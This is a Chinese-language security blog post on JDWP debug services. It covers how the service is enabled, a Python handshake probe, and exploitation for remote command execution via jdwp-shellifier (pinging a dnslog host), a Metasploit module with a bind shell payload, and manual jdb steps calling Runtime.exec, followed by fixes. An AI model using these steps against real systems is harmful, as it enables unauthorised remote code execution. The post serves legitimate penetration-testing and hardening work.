JDWP

mapl3miss Lv1

JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(debugger)和被调试的Java虚拟机(Target VM)之前的通信协议

启动方式

JDK自带

1
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5050 -jar xxx.jar

idea

选择启动文件中的编辑配置的Run/Debug Configuratiions中配置

maven

1
mvn spring-boot:run -Drun.jvmArguments=**"-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8001"

tomcat

windows下

bin目录下的startup.bat文件中加入

1
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000

然后cmd运行startup.bat就可以在8000端口上开启JDWP协议了
或者直接

1
2
/tomcat/bin/catalina.bat jpda run
/tomcat/bin/catalina.bat jpda start
linux下

bin目录下找到 catalina.sh 文件,加入

1
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000"

或者直接

1
2
/tomcat/bin/catalina.sh jpda run
/tomcat/bin/catalina.sh jpda start

探测

可疑端口:8000 5005 8080
探测主要是利用了jdwp握手阶段互发JDWP-Handshake的特性

1.nmap和fscan

很多情况下扫不出来jdwp服务,会显示http-alt

2.python探测脚本

1
2
3
4
5
6
7
8
9
10
import socket  

client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")

if client.recv(1024) == b"JDWP-Handshake":
print("[*]JDWP Service!")

client.close()

利用

1>jdwp-shellifier(此工具需要python2环境)
该漏洞无回显,可利用dnslog进行探测

1
python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"

2>msf
在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用。
原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。

1
2
3
4
use exploit/multi/misc/java_jdwp_debugger
set rhosts x.x.x.x
set payload linux/x64/shell/bind_tcp
run

3>JDB
jdb是JDK中自带的命令行调试工具。
这里是按照msf中的方式:

  1. attach到远程JDWP服务;
  2. threads命令查看所有线程,查找sleeping的线程;
  3. thread sleeping的线程id,然后stepi进入该线程;
  4. 通过print|dump|eval命令,执行Java表达式从而达成命令执行;

命令:

1
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8000
1
threads
1
thread <线程id>(如0xc6a)
1
stepi
1
eval java.lang.Runtime.getRuntime().exec("calc")

回显利用:为JDWP远程命令执行加上回显

修复

  • 关闭JDWP服务,或限制JDWP服务只对指定ip开放;
  • 关闭Java Debug模式
  • Title: JDWP
  • Author: mapl3miss
  • Created at : 2025-07-31 12:06:55
  • Updated at : 2025-07-31 12:08:22
  • Link: https://redefine.ohevan.com/2025/07/31/JDWP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments